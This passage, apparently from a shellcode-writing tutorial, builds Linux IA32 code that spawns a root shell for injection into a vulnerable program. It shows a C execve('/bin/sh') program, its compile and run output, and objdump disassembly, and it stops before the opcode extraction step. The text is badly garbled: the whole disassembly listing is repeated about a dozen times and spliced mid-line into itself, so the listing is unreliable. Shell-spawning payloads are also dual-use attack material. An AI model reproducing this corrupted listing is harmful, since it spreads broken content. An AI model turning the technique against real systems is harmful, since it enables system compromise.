Spawning a Shell

Learning to write simple exit() shellcode is in reality just a learning exercise. In practice, you will find little use for standalone exit() shellcode. If you want to force a process that has a vulnerable input area to exit, most likely you can simply fill up the input area with illegal instructions. This will cause the program to crash, which has the same effect as injecting exit() shellcode. This doesn't mean your hard work was wasted on a futile exercise. You can reuse your exit shellcode in conjunction with other shellcode to do something worthwhile, and then force the process to close cleanly, which can be of value in certain situations.

This section of the chapter will be dedicated to doing something more funspawning a root shell that can be used to compromise your target computer. Just like in the previous section, we will create this shellcode from scratch for a Linux OS running on IA32. We will follow five steps to shellcode success:

  1. Write desired shellcode in a high-level language.

  2. Compile and disassemble the high-level shellcode program.

  3. Analyze how the program works from an assembly level.

  4. Clean up the assembly to make it smaller and injectable.

  5. Extract opcodes and create shellcode.

The first step is to create a simple C program to spawn our shell. The easiest and fastest method of creating a shell is to create a new process. A process in Linux can be created in one of two ways: We can create it via an existing process and replace the program that is already running, or we can have the existing process make a copy of itself and run the new program in its place. The kernel takes care of doing these things for uswe can let the kernel know what we want to do by issuing fork() and execve () system calls. Using fork() and execve() together creates a copy of the existing process, while execve() singularly executes another program in place of the existing one.

Let's keep it as simple as possible and use execve by itself. What follows is the execve call in a simple C program:

 #include <stdio.h> int main() {      char *happy[2];      happy[0] = "/bin/sh";      happy[1] = NULL;      execve (happy[0], happy, NULL); } 

We should compile and execute this program to make sure we get the desired effect.

 [slap@0day root]# gcc spawnshell.c -o spawnshell [slap@0day root]# ./spawnshell sh-2.05b# 

As you can see, our shell has been spawned. This isn't very interesting right now, but if this code were injected remotely and then executed, you could see how powerful this little program can be. Now, in order for our C program to be executed when placed into a vulnerable input area, the code must be translated into raw hexadecimal instructions. We can do this quite easily. First, you will need to recompile the shellcode using the static option with gcc; again, this prevents dynamic linking which preserves our execve syscall.

 gcc  -static o spawnshell spawnshell.c 

Now we want to disassemble the program, so that we can get to our opcode. The following output from objdump has been edited to save spacewe will show only the relevant portions.

 080481d0 <main>:  80481d0: 55                 push   %ebp  80481d1: 89 e5                   mov    %esp,%ebp  80481d3: 83 ec 08                sub 
 080481d0 <main>: 80481d0: 55 push %ebp 80481d1: 89 e5 mov %esp,%ebp 80481d3: 83 ec 08 sub $0x8,%esp 80481d6: 83 e4 f0 and $0xfffffff0,%esp 80481d9: b8 00 00 00 00 mov $0x0,%eax 80481de: 29 c4 sub %eax,%esp 80481e0: c7 45 f8 88 ef 08 08 movl $0x808ef88,0xfffffff8(%ebp) 80481e7: c7 45 fc 00 00 00 00 movl $0x0,0xfffffffc(%ebp) 80481ee: 83 ec 04 sub $0x4,%esp 80481f1: 6a 00 push $0x0 80481f3: 8d 45 f8 lea 0xfffffff8(%ebp),%eax 80481f6: 50 push %eax 80481f7: ff 75 f8 pushl 0xfffffff8(%ebp) 80481fa: e8 f1 57 00 00 call 804d9f0 <__execve> 80481ff: 83 c4 10 add $0x10,%esp 8048202: c9 leave 8048203: c3 ret 0804d9f0 <__execve>: 804d9f0: 55 push %ebp 804d9f1: b8 00 00 00 00 mov $0x0,%eax 804d9f6: 89 e5 mov %esp,%ebp 804d9f8: 85 c0 test %eax,%eax 804d9fa: 57 push %edi 804d9fb: 53 push %ebx 804d9fc: 8b 7d 08 mov 0x8(%ebp),%edi 804d9ff: 74 05 je 804da06 <__execve+0x16> 804da01: e8 fa 25 fb f7 call 0 <_init-0x80480b4> 804da06: 8b 4d 0c mov 0xc(%ebp),%ecx 804da09: 8b 55 10 mov 0x10(%ebp),%edx 804da0c: 53 push %ebx 804da0d: 89 fb mov %edi,%ebx 804da0f: b8 0b 00 00 00 mov $0xb,%eax 804da14: cd 80 int $0x80 804da16: 5b pop %ebx 804da17: 3d 00 f0 ff ff cmp $0xfffff000,%eax 804da1c: 89 c3 mov %eax,%ebx 804da1e: 77 06 ja 804da26 <__execve+0x36> 804da20: 89 d8 mov %ebx,%eax 804da22: 5b pop %ebx 804da23: 5f pop %edi 804da24: c9 leave 804da25: c3 ret 804da26: f7 db neg %ebx 804da28: e8 cf ab ff ff call 80485fc <__errno_location> 804da2d: 89 18 mov %ebx,(%eax) 804da2f: bb ff ff ff ff mov $0xffffffff,%ebx 804da34: eb ea jmp 804da20 <__execve+0x30> 804da36: 90 nop 804da37: 90 nop 
x8,%esp 80481d6: 83 e4 f0 and
 080481d0 <main>: 80481d0: 55 push %ebp 80481d1: 89 e5 mov %esp,%ebp 80481d3: 83 ec 08 sub $0x8,%esp 80481d6: 83 e4 f0 and $0xfffffff0,%esp 80481d9: b8 00 00 00 00 mov $0x0,%eax 80481de: 29 c4 sub %eax,%esp 80481e0: c7 45 f8 88 ef 08 08 movl $0x808ef88,0xfffffff8(%ebp) 80481e7: c7 45 fc 00 00 00 00 movl $0x0,0xfffffffc(%ebp) 80481ee: 83 ec 04 sub $0x4,%esp 80481f1: 6a 00 push $0x0 80481f3: 8d 45 f8 lea 0xfffffff8(%ebp),%eax 80481f6: 50 push %eax 80481f7: ff 75 f8 pushl 0xfffffff8(%ebp) 80481fa: e8 f1 57 00 00 call 804d9f0 <__execve> 80481ff: 83 c4 10 add $0x10,%esp 8048202: c9 leave 8048203: c3 ret 0804d9f0 <__execve>: 804d9f0: 55 push %ebp 804d9f1: b8 00 00 00 00 mov $0x0,%eax 804d9f6: 89 e5 mov %esp,%ebp 804d9f8: 85 c0 test %eax,%eax 804d9fa: 57 push %edi 804d9fb: 53 push %ebx 804d9fc: 8b 7d 08 mov 0x8(%ebp),%edi 804d9ff: 74 05 je 804da06 <__execve+0x16> 804da01: e8 fa 25 fb f7 call 0 <_init-0x80480b4> 804da06: 8b 4d 0c mov 0xc(%ebp),%ecx 804da09: 8b 55 10 mov 0x10(%ebp),%edx 804da0c: 53 push %ebx 804da0d: 89 fb mov %edi,%ebx 804da0f: b8 0b 00 00 00 mov $0xb,%eax 804da14: cd 80 int $0x80 804da16: 5b pop %ebx 804da17: 3d 00 f0 ff ff cmp $0xfffff000,%eax 804da1c: 89 c3 mov %eax,%ebx 804da1e: 77 06 ja 804da26 <__execve+0x36> 804da20: 89 d8 mov %ebx,%eax 804da22: 5b pop %ebx 804da23: 5f pop %edi 804da24: c9 leave 804da25: c3 ret 804da26: f7 db neg %ebx 804da28: e8 cf ab ff ff call 80485fc <__errno_location> 804da2d: 89 18 mov %ebx,(%eax) 804da2f: bb ff ff ff ff mov $0xffffffff,%ebx 804da34: eb ea jmp 804da20 <__execve+0x30> 804da36: 90 nop 804da37: 90 nop 
xfffffff0,%esp 80481d9: b8 00 00 00 00 mov
 080481d0 <main>: 80481d0: 55 push %ebp 80481d1: 89 e5 mov %esp,%ebp 80481d3: 83 ec 08 sub $0x8,%esp 80481d6: 83 e4 f0 and $0xfffffff0,%esp 80481d9: b8 00 00 00 00 mov $0x0,%eax 80481de: 29 c4 sub %eax,%esp 80481e0: c7 45 f8 88 ef 08 08 movl $0x808ef88,0xfffffff8(%ebp) 80481e7: c7 45 fc 00 00 00 00 movl $0x0,0xfffffffc(%ebp) 80481ee: 83 ec 04 sub $0x4,%esp 80481f1: 6a 00 push $0x0 80481f3: 8d 45 f8 lea 0xfffffff8(%ebp),%eax 80481f6: 50 push %eax 80481f7: ff 75 f8 pushl 0xfffffff8(%ebp) 80481fa: e8 f1 57 00 00 call 804d9f0 <__execve> 80481ff: 83 c4 10 add $0x10,%esp 8048202: c9 leave 8048203: c3 ret 0804d9f0 <__execve>: 804d9f0: 55 push %ebp 804d9f1: b8 00 00 00 00 mov $0x0,%eax 804d9f6: 89 e5 mov %esp,%ebp 804d9f8: 85 c0 test %eax,%eax 804d9fa: 57 push %edi 804d9fb: 53 push %ebx 804d9fc: 8b 7d 08 mov 0x8(%ebp),%edi 804d9ff: 74 05 je 804da06 <__execve+0x16> 804da01: e8 fa 25 fb f7 call 0 <_init-0x80480b4> 804da06: 8b 4d 0c mov 0xc(%ebp),%ecx 804da09: 8b 55 10 mov 0x10(%ebp),%edx 804da0c: 53 push %ebx 804da0d: 89 fb mov %edi,%ebx 804da0f: b8 0b 00 00 00 mov $0xb,%eax 804da14: cd 80 int $0x80 804da16: 5b pop %ebx 804da17: 3d 00 f0 ff ff cmp $0xfffff000,%eax 804da1c: 89 c3 mov %eax,%ebx 804da1e: 77 06 ja 804da26 <__execve+0x36> 804da20: 89 d8 mov %ebx,%eax 804da22: 5b pop %ebx 804da23: 5f pop %edi 804da24: c9 leave 804da25: c3 ret 804da26: f7 db neg %ebx 804da28: e8 cf ab ff ff call 80485fc <__errno_location> 804da2d: 89 18 mov %ebx,(%eax) 804da2f: bb ff ff ff ff mov $0xffffffff,%ebx 804da34: eb ea jmp 804da20 <__execve+0x30> 804da36: 90 nop 804da37: 90 nop 
x0,%eax 80481de: 29 c4 sub %eax,%esp 80481e0: c7 45 f8 88 ef 08 08 movl
 080481d0 <main>: 80481d0: 55 push %ebp 80481d1: 89 e5 mov %esp,%ebp 80481d3: 83 ec 08 sub $0x8,%esp 80481d6: 83 e4 f0 and $0xfffffff0,%esp 80481d9: b8 00 00 00 00 mov $0x0,%eax 80481de: 29 c4 sub %eax,%esp 80481e0: c7 45 f8 88 ef 08 08 movl $0x808ef88,0xfffffff8(%ebp) 80481e7: c7 45 fc 00 00 00 00 movl $0x0,0xfffffffc(%ebp) 80481ee: 83 ec 04 sub $0x4,%esp 80481f1: 6a 00 push $0x0 80481f3: 8d 45 f8 lea 0xfffffff8(%ebp),%eax 80481f6: 50 push %eax 80481f7: ff 75 f8 pushl 0xfffffff8(%ebp) 80481fa: e8 f1 57 00 00 call 804d9f0 <__execve> 80481ff: 83 c4 10 add $0x10,%esp 8048202: c9 leave 8048203: c3 ret 0804d9f0 <__execve>: 804d9f0: 55 push %ebp 804d9f1: b8 00 00 00 00 mov $0x0,%eax 804d9f6: 89 e5 mov %esp,%ebp 804d9f8: 85 c0 test %eax,%eax 804d9fa: 57 push %edi 804d9fb: 53 push %ebx 804d9fc: 8b 7d 08 mov 0x8(%ebp),%edi 804d9ff: 74 05 je 804da06 <__execve+0x16> 804da01: e8 fa 25 fb f7 call 0 <_init-0x80480b4> 804da06: 8b 4d 0c mov 0xc(%ebp),%ecx 804da09: 8b 55 10 mov 0x10(%ebp),%edx 804da0c: 53 push %ebx 804da0d: 89 fb mov %edi,%ebx 804da0f: b8 0b 00 00 00 mov $0xb,%eax 804da14: cd 80 int $0x80 804da16: 5b pop %ebx 804da17: 3d 00 f0 ff ff cmp $0xfffff000,%eax 804da1c: 89 c3 mov %eax,%ebx 804da1e: 77 06 ja 804da26 <__execve+0x36> 804da20: 89 d8 mov %ebx,%eax 804da22: 5b pop %ebx 804da23: 5f pop %edi 804da24: c9 leave 804da25: c3 ret 804da26: f7 db neg %ebx 804da28: e8 cf ab ff ff call 80485fc <__errno_location> 804da2d: 89 18 mov %ebx,(%eax) 804da2f: bb ff ff ff ff mov $0xffffffff,%ebx 804da34: eb ea jmp 804da20 <__execve+0x30> 804da36: 90 nop 804da37: 90 nop 
x808ef88,0xfffffff8(%ebp) 80481e7: c7 45 fc 00 00 00 00 movl
 080481d0 <main>: 80481d0: 55 push %ebp 80481d1: 89 e5 mov %esp,%ebp 80481d3: 83 ec 08 sub $0x8,%esp 80481d6: 83 e4 f0 and $0xfffffff0,%esp 80481d9: b8 00 00 00 00 mov $0x0,%eax 80481de: 29 c4 sub %eax,%esp 80481e0: c7 45 f8 88 ef 08 08 movl $0x808ef88,0xfffffff8(%ebp) 80481e7: c7 45 fc 00 00 00 00 movl $0x0,0xfffffffc(%ebp) 80481ee: 83 ec 04 sub $0x4,%esp 80481f1: 6a 00 push $0x0 80481f3: 8d 45 f8 lea 0xfffffff8(%ebp),%eax 80481f6: 50 push %eax 80481f7: ff 75 f8 pushl 0xfffffff8(%ebp) 80481fa: e8 f1 57 00 00 call 804d9f0 <__execve> 80481ff: 83 c4 10 add $0x10,%esp 8048202: c9 leave 8048203: c3 ret 0804d9f0 <__execve>: 804d9f0: 55 push %ebp 804d9f1: b8 00 00 00 00 mov $0x0,%eax 804d9f6: 89 e5 mov %esp,%ebp 804d9f8: 85 c0 test %eax,%eax 804d9fa: 57 push %edi 804d9fb: 53 push %ebx 804d9fc: 8b 7d 08 mov 0x8(%ebp),%edi 804d9ff: 74 05 je 804da06 <__execve+0x16> 804da01: e8 fa 25 fb f7 call 0 <_init-0x80480b4> 804da06: 8b 4d 0c mov 0xc(%ebp),%ecx 804da09: 8b 55 10 mov 0x10(%ebp),%edx 804da0c: 53 push %ebx 804da0d: 89 fb mov %edi,%ebx 804da0f: b8 0b 00 00 00 mov $0xb,%eax 804da14: cd 80 int $0x80 804da16: 5b pop %ebx 804da17: 3d 00 f0 ff ff cmp $0xfffff000,%eax 804da1c: 89 c3 mov %eax,%ebx 804da1e: 77 06 ja 804da26 <__execve+0x36> 804da20: 89 d8 mov %ebx,%eax 804da22: 5b pop %ebx 804da23: 5f pop %edi 804da24: c9 leave 804da25: c3 ret 804da26: f7 db neg %ebx 804da28: e8 cf ab ff ff call 80485fc <__errno_location> 804da2d: 89 18 mov %ebx,(%eax) 804da2f: bb ff ff ff ff mov $0xffffffff,%ebx 804da34: eb ea jmp 804da20 <__execve+0x30> 804da36: 90 nop 804da37: 90 nop 
x0,0xfffffffc(%ebp) 80481ee: 83 ec 04 sub
 080481d0 <main>: 80481d0: 55 push %ebp 80481d1: 89 e5 mov %esp,%ebp 80481d3: 83 ec 08 sub $0x8,%esp 80481d6: 83 e4 f0 and $0xfffffff0,%esp 80481d9: b8 00 00 00 00 mov $0x0,%eax 80481de: 29 c4 sub %eax,%esp 80481e0: c7 45 f8 88 ef 08 08 movl $0x808ef88,0xfffffff8(%ebp) 80481e7: c7 45 fc 00 00 00 00 movl $0x0,0xfffffffc(%ebp) 80481ee: 83 ec 04 sub $0x4,%esp 80481f1: 6a 00 push $0x0 80481f3: 8d 45 f8 lea 0xfffffff8(%ebp),%eax 80481f6: 50 push %eax 80481f7: ff 75 f8 pushl 0xfffffff8(%ebp) 80481fa: e8 f1 57 00 00 call 804d9f0 <__execve> 80481ff: 83 c4 10 add $0x10,%esp 8048202: c9 leave 8048203: c3 ret 0804d9f0 <__execve>: 804d9f0: 55 push %ebp 804d9f1: b8 00 00 00 00 mov $0x0,%eax 804d9f6: 89 e5 mov %esp,%ebp 804d9f8: 85 c0 test %eax,%eax 804d9fa: 57 push %edi 804d9fb: 53 push %ebx 804d9fc: 8b 7d 08 mov 0x8(%ebp),%edi 804d9ff: 74 05 je 804da06 <__execve+0x16> 804da01: e8 fa 25 fb f7 call 0 <_init-0x80480b4> 804da06: 8b 4d 0c mov 0xc(%ebp),%ecx 804da09: 8b 55 10 mov 0x10(%ebp),%edx 804da0c: 53 push %ebx 804da0d: 89 fb mov %edi,%ebx 804da0f: b8 0b 00 00 00 mov $0xb,%eax 804da14: cd 80 int $0x80 804da16: 5b pop %ebx 804da17: 3d 00 f0 ff ff cmp $0xfffff000,%eax 804da1c: 89 c3 mov %eax,%ebx 804da1e: 77 06 ja 804da26 <__execve+0x36> 804da20: 89 d8 mov %ebx,%eax 804da22: 5b pop %ebx 804da23: 5f pop %edi 804da24: c9 leave 804da25: c3 ret 804da26: f7 db neg %ebx 804da28: e8 cf ab ff ff call 80485fc <__errno_location> 804da2d: 89 18 mov %ebx,(%eax) 804da2f: bb ff ff ff ff mov $0xffffffff,%ebx 804da34: eb ea jmp 804da20 <__execve+0x30> 804da36: 90 nop 804da37: 90 nop 
x4,%esp 80481f1: 6a 00 push
 080481d0 <main>: 80481d0: 55 push %ebp 80481d1: 89 e5 mov %esp,%ebp 80481d3: 83 ec 08 sub $0x8,%esp 80481d6: 83 e4 f0 and $0xfffffff0,%esp 80481d9: b8 00 00 00 00 mov $0x0,%eax 80481de: 29 c4 sub %eax,%esp 80481e0: c7 45 f8 88 ef 08 08 movl $0x808ef88,0xfffffff8(%ebp) 80481e7: c7 45 fc 00 00 00 00 movl $0x0,0xfffffffc(%ebp) 80481ee: 83 ec 04 sub $0x4,%esp 80481f1: 6a 00 push $0x0 80481f3: 8d 45 f8 lea 0xfffffff8(%ebp),%eax 80481f6: 50 push %eax 80481f7: ff 75 f8 pushl 0xfffffff8(%ebp) 80481fa: e8 f1 57 00 00 call 804d9f0 <__execve> 80481ff: 83 c4 10 add $0x10,%esp 8048202: c9 leave 8048203: c3 ret 0804d9f0 <__execve>: 804d9f0: 55 push %ebp 804d9f1: b8 00 00 00 00 mov $0x0,%eax 804d9f6: 89 e5 mov %esp,%ebp 804d9f8: 85 c0 test %eax,%eax 804d9fa: 57 push %edi 804d9fb: 53 push %ebx 804d9fc: 8b 7d 08 mov 0x8(%ebp),%edi 804d9ff: 74 05 je 804da06 <__execve+0x16> 804da01: e8 fa 25 fb f7 call 0 <_init-0x80480b4> 804da06: 8b 4d 0c mov 0xc(%ebp),%ecx 804da09: 8b 55 10 mov 0x10(%ebp),%edx 804da0c: 53 push %ebx 804da0d: 89 fb mov %edi,%ebx 804da0f: b8 0b 00 00 00 mov $0xb,%eax 804da14: cd 80 int $0x80 804da16: 5b pop %ebx 804da17: 3d 00 f0 ff ff cmp $0xfffff000,%eax 804da1c: 89 c3 mov %eax,%ebx 804da1e: 77 06 ja 804da26 <__execve+0x36> 804da20: 89 d8 mov %ebx,%eax 804da22: 5b pop %ebx 804da23: 5f pop %edi 804da24: c9 leave 804da25: c3 ret 804da26: f7 db neg %ebx 804da28: e8 cf ab ff ff call 80485fc <__errno_location> 804da2d: 89 18 mov %ebx,(%eax) 804da2f: bb ff ff ff ff mov $0xffffffff,%ebx 804da34: eb ea jmp 804da20 <__execve+0x30> 804da36: 90 nop 804da37: 90 nop 
x0 80481f3: 8d 45 f8 lea 0xfffffff8(%ebp),%eax 80481f6: 50 push %eax 80481f7: ff 75 f8 pushl 0xfffffff8(%ebp) 80481fa: e8 f1 57 00 00 call 804d9f0 <__execve> 80481ff: 83 c4 10 add
 080481d0 <main>: 80481d0: 55 push %ebp 80481d1: 89 e5 mov %esp,%ebp 80481d3: 83 ec 08 sub $0x8,%esp 80481d6: 83 e4 f0 and $0xfffffff0,%esp 80481d9: b8 00 00 00 00 mov $0x0,%eax 80481de: 29 c4 sub %eax,%esp 80481e0: c7 45 f8 88 ef 08 08 movl $0x808ef88,0xfffffff8(%ebp) 80481e7: c7 45 fc 00 00 00 00 movl $0x0,0xfffffffc(%ebp) 80481ee: 83 ec 04 sub $0x4,%esp 80481f1: 6a 00 push $0x0 80481f3: 8d 45 f8 lea 0xfffffff8(%ebp),%eax 80481f6: 50 push %eax 80481f7: ff 75 f8 pushl 0xfffffff8(%ebp) 80481fa: e8 f1 57 00 00 call 804d9f0 <__execve> 80481ff: 83 c4 10 add $0x10,%esp 8048202: c9 leave 8048203: c3 ret 0804d9f0 <__execve>: 804d9f0: 55 push %ebp 804d9f1: b8 00 00 00 00 mov $0x0,%eax 804d9f6: 89 e5 mov %esp,%ebp 804d9f8: 85 c0 test %eax,%eax 804d9fa: 57 push %edi 804d9fb: 53 push %ebx 804d9fc: 8b 7d 08 mov 0x8(%ebp),%edi 804d9ff: 74 05 je 804da06 <__execve+0x16> 804da01: e8 fa 25 fb f7 call 0 <_init-0x80480b4> 804da06: 8b 4d 0c mov 0xc(%ebp),%ecx 804da09: 8b 55 10 mov 0x10(%ebp),%edx 804da0c: 53 push %ebx 804da0d: 89 fb mov %edi,%ebx 804da0f: b8 0b 00 00 00 mov $0xb,%eax 804da14: cd 80 int $0x80 804da16: 5b pop %ebx 804da17: 3d 00 f0 ff ff cmp $0xfffff000,%eax 804da1c: 89 c3 mov %eax,%ebx 804da1e: 77 06 ja 804da26 <__execve+0x36> 804da20: 89 d8 mov %ebx,%eax 804da22: 5b pop %ebx 804da23: 5f pop %edi 804da24: c9 leave 804da25: c3 ret 804da26: f7 db neg %ebx 804da28: e8 cf ab ff ff call 80485fc <__errno_location> 804da2d: 89 18 mov %ebx,(%eax) 804da2f: bb ff ff ff ff mov $0xffffffff,%ebx 804da34: eb ea jmp 804da20 <__execve+0x30> 804da36: 90 nop 804da37: 90 nop 
x10,%esp 8048202: c9 leave 8048203: c3 ret 0804d9f0 <__execve>: 804d9f0: 55 push %ebp 804d9f1: b8 00 00 00 00 mov
 080481d0 <main>: 80481d0: 55 push %ebp 80481d1: 89 e5 mov %esp,%ebp 80481d3: 83 ec 08 sub $0x8,%esp 80481d6: 83 e4 f0 and $0xfffffff0,%esp 80481d9: b8 00 00 00 00 mov $0x0,%eax 80481de: 29 c4 sub %eax,%esp 80481e0: c7 45 f8 88 ef 08 08 movl $0x808ef88,0xfffffff8(%ebp) 80481e7: c7 45 fc 00 00 00 00 movl $0x0,0xfffffffc(%ebp) 80481ee: 83 ec 04 sub $0x4,%esp 80481f1: 6a 00 push $0x0 80481f3: 8d 45 f8 lea 0xfffffff8(%ebp),%eax 80481f6: 50 push %eax 80481f7: ff 75 f8 pushl 0xfffffff8(%ebp) 80481fa: e8 f1 57 00 00 call 804d9f0 <__execve> 80481ff: 83 c4 10 add $0x10,%esp 8048202: c9 leave 8048203: c3 ret 0804d9f0 <__execve>: 804d9f0: 55 push %ebp 804d9f1: b8 00 00 00 00 mov $0x0,%eax 804d9f6: 89 e5 mov %esp,%ebp 804d9f8: 85 c0 test %eax,%eax 804d9fa: 57 push %edi 804d9fb: 53 push %ebx 804d9fc: 8b 7d 08 mov 0x8(%ebp),%edi 804d9ff: 74 05 je 804da06 <__execve+0x16> 804da01: e8 fa 25 fb f7 call 0 <_init-0x80480b4> 804da06: 8b 4d 0c mov 0xc(%ebp),%ecx 804da09: 8b 55 10 mov 0x10(%ebp),%edx 804da0c: 53 push %ebx 804da0d: 89 fb mov %edi,%ebx 804da0f: b8 0b 00 00 00 mov $0xb,%eax 804da14: cd 80 int $0x80 804da16: 5b pop %ebx 804da17: 3d 00 f0 ff ff cmp $0xfffff000,%eax 804da1c: 89 c3 mov %eax,%ebx 804da1e: 77 06 ja 804da26 <__execve+0x36> 804da20: 89 d8 mov %ebx,%eax 804da22: 5b pop %ebx 804da23: 5f pop %edi 804da24: c9 leave 804da25: c3 ret 804da26: f7 db neg %ebx 804da28: e8 cf ab ff ff call 80485fc <__errno_location> 804da2d: 89 18 mov %ebx,(%eax) 804da2f: bb ff ff ff ff mov $0xffffffff,%ebx 804da34: eb ea jmp 804da20 <__execve+0x30> 804da36: 90 nop 804da37: 90 nop 
x0,%eax 804d9f6: 89 e5 mov %esp,%ebp 804d9f8: 85 c0 test %eax,%eax 804d9fa: 57 push %edi 804d9fb: 53 push %ebx 804d9fc: 8b 7d 08 mov 0x8(%ebp),%edi 804d9ff: 74 05 je 804da06 <__execve+0x16> 804da01: e8 fa 25 fb f7 call 0 <_init-0x80480b4> 804da06: 8b 4d 0c mov 0xc(%ebp),%ecx 804da09: 8b 55 10 mov 0x10(%ebp),%edx 804da0c: 53 push %ebx 804da0d: 89 fb mov %edi,%ebx 804da0f: b8 0b 00 00 00 mov
 080481d0 <main>: 80481d0: 55 push %ebp 80481d1: 89 e5 mov %esp,%ebp 80481d3: 83 ec 08 sub $0x8,%esp 80481d6: 83 e4 f0 and $0xfffffff0,%esp 80481d9: b8 00 00 00 00 mov $0x0,%eax 80481de: 29 c4 sub %eax,%esp 80481e0: c7 45 f8 88 ef 08 08 movl $0x808ef88,0xfffffff8(%ebp) 80481e7: c7 45 fc 00 00 00 00 movl $0x0,0xfffffffc(%ebp) 80481ee: 83 ec 04 sub $0x4,%esp 80481f1: 6a 00 push $0x0 80481f3: 8d 45 f8 lea 0xfffffff8(%ebp),%eax 80481f6: 50 push %eax 80481f7: ff 75 f8 pushl 0xfffffff8(%ebp) 80481fa: e8 f1 57 00 00 call 804d9f0 <__execve> 80481ff: 83 c4 10 add $0x10,%esp 8048202: c9 leave 8048203: c3 ret 0804d9f0 <__execve>: 804d9f0: 55 push %ebp 804d9f1: b8 00 00 00 00 mov $0x0,%eax 804d9f6: 89 e5 mov %esp,%ebp 804d9f8: 85 c0 test %eax,%eax 804d9fa: 57 push %edi 804d9fb: 53 push %ebx 804d9fc: 8b 7d 08 mov 0x8(%ebp),%edi 804d9ff: 74 05 je 804da06 <__execve+0x16> 804da01: e8 fa 25 fb f7 call 0 <_init-0x80480b4> 804da06: 8b 4d 0c mov 0xc(%ebp),%ecx 804da09: 8b 55 10 mov 0x10(%ebp),%edx 804da0c: 53 push %ebx 804da0d: 89 fb mov %edi,%ebx 804da0f: b8 0b 00 00 00 mov $0xb,%eax 804da14: cd 80 int $0x80 804da16: 5b pop %ebx 804da17: 3d 00 f0 ff ff cmp $0xfffff000,%eax 804da1c: 89 c3 mov %eax,%ebx 804da1e: 77 06 ja 804da26 <__execve+0x36> 804da20: 89 d8 mov %ebx,%eax 804da22: 5b pop %ebx 804da23: 5f pop %edi 804da24: c9 leave 804da25: c3 ret 804da26: f7 db neg %ebx 804da28: e8 cf ab ff ff call 80485fc <__errno_location> 804da2d: 89 18 mov %ebx,(%eax) 804da2f: bb ff ff ff ff mov $0xffffffff,%ebx 804da34: eb ea jmp 804da20 <__execve+0x30> 804da36: 90 nop 804da37: 90 nop 
xb,%eax 804da14: cd 80 int
 080481d0 <main>: 80481d0: 55 push %ebp 80481d1: 89 e5 mov %esp,%ebp 80481d3: 83 ec 08 sub $0x8,%esp 80481d6: 83 e4 f0 and $0xfffffff0,%esp 80481d9: b8 00 00 00 00 mov $0x0,%eax 80481de: 29 c4 sub %eax,%esp 80481e0: c7 45 f8 88 ef 08 08 movl $0x808ef88,0xfffffff8(%ebp) 80481e7: c7 45 fc 00 00 00 00 movl $0x0,0xfffffffc(%ebp) 80481ee: 83 ec 04 sub $0x4,%esp 80481f1: 6a 00 push $0x0 80481f3: 8d 45 f8 lea 0xfffffff8(%ebp),%eax 80481f6: 50 push %eax 80481f7: ff 75 f8 pushl 0xfffffff8(%ebp) 80481fa: e8 f1 57 00 00 call 804d9f0 <__execve> 80481ff: 83 c4 10 add $0x10,%esp 8048202: c9 leave 8048203: c3 ret 0804d9f0 <__execve>: 804d9f0: 55 push %ebp 804d9f1: b8 00 00 00 00 mov $0x0,%eax 804d9f6: 89 e5 mov %esp,%ebp 804d9f8: 85 c0 test %eax,%eax 804d9fa: 57 push %edi 804d9fb: 53 push %ebx 804d9fc: 8b 7d 08 mov 0x8(%ebp),%edi 804d9ff: 74 05 je 804da06 <__execve+0x16> 804da01: e8 fa 25 fb f7 call 0 <_init-0x80480b4> 804da06: 8b 4d 0c mov 0xc(%ebp),%ecx 804da09: 8b 55 10 mov 0x10(%ebp),%edx 804da0c: 53 push %ebx 804da0d: 89 fb mov %edi,%ebx 804da0f: b8 0b 00 00 00 mov $0xb,%eax 804da14: cd 80 int $0x80 804da16: 5b pop %ebx 804da17: 3d 00 f0 ff ff cmp $0xfffff000,%eax 804da1c: 89 c3 mov %eax,%ebx 804da1e: 77 06 ja 804da26 <__execve+0x36> 804da20: 89 d8 mov %ebx,%eax 804da22: 5b pop %ebx 804da23: 5f pop %edi 804da24: c9 leave 804da25: c3 ret 804da26: f7 db neg %ebx 804da28: e8 cf ab ff ff call 80485fc <__errno_location> 804da2d: 89 18 mov %ebx,(%eax) 804da2f: bb ff ff ff ff mov $0xffffffff,%ebx 804da34: eb ea jmp 804da20 <__execve+0x30> 804da36: 90 nop 804da37: 90 nop 
x80 804da16: 5b pop %ebx 804da17: 3d 00 f0 ff ff cmp
 080481d0 <main>: 80481d0: 55 push %ebp 80481d1: 89 e5 mov %esp,%ebp 80481d3: 83 ec 08 sub $0x8,%esp 80481d6: 83 e4 f0 and $0xfffffff0,%esp 80481d9: b8 00 00 00 00 mov $0x0,%eax 80481de: 29 c4 sub %eax,%esp 80481e0: c7 45 f8 88 ef 08 08 movl $0x808ef88,0xfffffff8(%ebp) 80481e7: c7 45 fc 00 00 00 00 movl $0x0,0xfffffffc(%ebp) 80481ee: 83 ec 04 sub $0x4,%esp 80481f1: 6a 00 push $0x0 80481f3: 8d 45 f8 lea 0xfffffff8(%ebp),%eax 80481f6: 50 push %eax 80481f7: ff 75 f8 pushl 0xfffffff8(%ebp) 80481fa: e8 f1 57 00 00 call 804d9f0 <__execve> 80481ff: 83 c4 10 add $0x10,%esp 8048202: c9 leave 8048203: c3 ret 0804d9f0 <__execve>: 804d9f0: 55 push %ebp 804d9f1: b8 00 00 00 00 mov $0x0,%eax 804d9f6: 89 e5 mov %esp,%ebp 804d9f8: 85 c0 test %eax,%eax 804d9fa: 57 push %edi 804d9fb: 53 push %ebx 804d9fc: 8b 7d 08 mov 0x8(%ebp),%edi 804d9ff: 74 05 je 804da06 <__execve+0x16> 804da01: e8 fa 25 fb f7 call 0 <_init-0x80480b4> 804da06: 8b 4d 0c mov 0xc(%ebp),%ecx 804da09: 8b 55 10 mov 0x10(%ebp),%edx 804da0c: 53 push %ebx 804da0d: 89 fb mov %edi,%ebx 804da0f: b8 0b 00 00 00 mov $0xb,%eax 804da14: cd 80 int $0x80 804da16: 5b pop %ebx 804da17: 3d 00 f0 ff ff cmp $0xfffff000,%eax 804da1c: 89 c3 mov %eax,%ebx 804da1e: 77 06 ja 804da26 <__execve+0x36> 804da20: 89 d8 mov %ebx,%eax 804da22: 5b pop %ebx 804da23: 5f pop %edi 804da24: c9 leave 804da25: c3 ret 804da26: f7 db neg %ebx 804da28: e8 cf ab ff ff call 80485fc <__errno_location> 804da2d: 89 18 mov %ebx,(%eax) 804da2f: bb ff ff ff ff mov $0xffffffff,%ebx 804da34: eb ea jmp 804da20 <__execve+0x30> 804da36: 90 nop 804da37: 90 nop 
